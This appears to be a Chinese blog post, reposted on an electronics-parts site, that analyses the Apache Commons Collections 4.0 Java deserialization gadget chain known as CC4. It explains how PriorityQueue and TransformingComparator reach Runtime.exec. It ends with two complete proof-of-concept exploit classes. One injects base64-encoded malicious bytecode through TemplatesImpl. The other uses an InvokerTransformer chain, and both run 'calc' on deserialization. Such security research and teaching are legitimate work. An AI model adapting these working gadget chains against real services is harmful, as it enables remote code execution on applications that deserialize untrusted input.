资讯详情

[Java反序列化]—CommonsCollections4

之前分析的CC链都是基于CommonsCollections3.2.1及其之前版本的,而后边推出了新的版本org.apache.commons.collections4,本文分析CC4就是基于CC 4.0版(除此之外)CC2)

流程

事实上,本条链的前半部分跟随CC3.它们都是动态加载字节码的过程,后面的结构主要使用两类PriorityQueueTransformingComparator

这里ysoseria并没有给出Gadget chain,所以仿照ysoseria总结:

    Gadget chain:         ObjectInputStream.readObject()             PriorityQueue.readObject()                 ...                     TransformingComparator.compare()                         InstantiaterTransformer.transform()                          TrAXFilter.TrAXfilter                              Method.invoke()                                  Runtime.exec()  

PriorityQueue

先看下PriorityQueue

PriorityQueue()使用默认初始容量(11) PriorityQueue,元素按自然顺序排序。 PriorityQueue(int initialCapacity)创建指定的初始容量 PriorityQueue,元素按自然顺序排序。

本文主要采用方法,add(E e):将指定元素插入优先级队列

测试代码:

package CommonsCollections4;  import java.util.PriorityQueue;  public class Test { 
             public static void main(String[] args) throws Exception { 
                 PriorityQueue priorityQueue=new PriorityQueue(2);         priorityQueue.add(4);         priorityQueue.add(3);         priorityQueue.add(2);         priorityQueue.add(1); //add()将指定元素添加到队列中         System.out.println(priorityQueue);         System.out.println(priorityQueue.poll()); //poll获取队列的头     }  } 

之所以用它,是因为它重写了自己 readObject()方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException { 
        
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

最后调用了heapify()

private void heapify() { 
        
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

接着调用siftDown()

private void siftDown(int k, E x) { 
        
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

当comparator不为null时调用siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) { 
        
    int half = size >>> 1;
    while (k < half) { 
        
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

最后调用comparator.compare(),而comparator在本类的构造方法中可控,所以关键就在于调用谁的compare()

public PriorityQueue(Comparator<? super E> comparator) { 
        
    this(DEFAULT_INITIAL_CAPACITY, comparator);
}

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) { 
        
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

TransformingComparator

在该类中发现compare(),并且调用transform()方法,后边的就跟之前都一样了

public int compare(final I obj1, final I obj2) { 
        
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

这个类其实在CC 3.2.1版本是无法使用的,因为从4.0开始它才继承了Serializable接口

//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

分析

TemplatesImpl

前边跟之前CC3的都一样

public static void main(String[] args) throws Exception { 
        
    Templates templates = new TemplatesImpl();
    byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
    setFieldValue(templates,"_name","Sentiment");
    setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});



    Transformer[] transformers=new Transformer[]{ 
        
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{ 
        Templates.class},new Object[]{ 
        templates})
    };
    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}

在执行compare()时,它执行的是this.transformer的transform()方法

final O value1 = this.transformer.transform(obj1);

所以就需要构造一下this.transformer=chainedTransformer,构造:

TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

PriorityQueue中需要调用comparator.compare(),所以就需要通过控制器构造comparator=TransformingComparator

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

之后经反序列化后未执行成功,主要有两个原因

一、这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()

private void heapify() { 
        
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

java中有三种移位运算符

<< : 左移运算符,num << 1,相当于num乘以2

>> : 右移运算符,num >> 1,相当于num除以2

>>> : 无符号右移,忽略符号位,空位都以0补齐

所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值

priorityQueue.add(1);
priorityQueue.add(2);

二、

在通过add添加后,还是无法正常运行,原因在于:

public boolean add(E e) { 
        
    return offer(e);
}

add()中会调用offer()

public boolean offer(E e) { 
        
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

而在offer()中调用了siftUp(),接着就一串siftUpUsingComparator()->siftUpUsingComparator()->compare()......,

就在序列化时执行了,而我的并没有执行,因为少了这里:

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

之前CC3中最后把它去掉了,因为在执行readObjet()时,会默认初始化,但在这里想通过序列化就触发的话,就需要加上这条。

接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator的值修改为一个没用的值,绕过调用

TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

之后再在add()方法执行结束后,通过反射将transformingComparator修改回来

Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

最后POC

package CommonsCollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;


import java.util.Base64;
import java.util.PriorityQueue;

public class cc4 { 
        

    public static void main(String[] args) throws Exception { 
        
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});



        Transformer[] transformers=new Transformer[]{ 
        
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{ 
        Templates.class},new Object[]{ 
        templates})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(0);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("1.txt");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ 
        
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException { 
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ 
        
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

}

Transformer

其实用Transformer链也行,参考一下即可

package CommonsCollections4;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;


import java.io.*;
import java.lang.reflect.*;


import java.util.PriorityQueue;

public class cc4 { 
        

    public static void main(String[] args) throws Exception { 
        
        Transformer[] transformers = new Transformer[]{ 
        
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ 
        String.class, Class[].class}, new Object[]{ 
        "getRuntime", new Class[]{ 
        }}),
                new InvokerTransformer("invoke", new Class[]{ 
        Object.class, Object[].class}, new Object[]{ 
        null, new Object[]{ 
        }}),
                new InvokerTransformer("exec", new Class[]{ 
        String.class}, new Object[]{ 
        "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(0);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("1.txt");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ 
        
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException { 
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ 
        
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

}

标签: syw二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台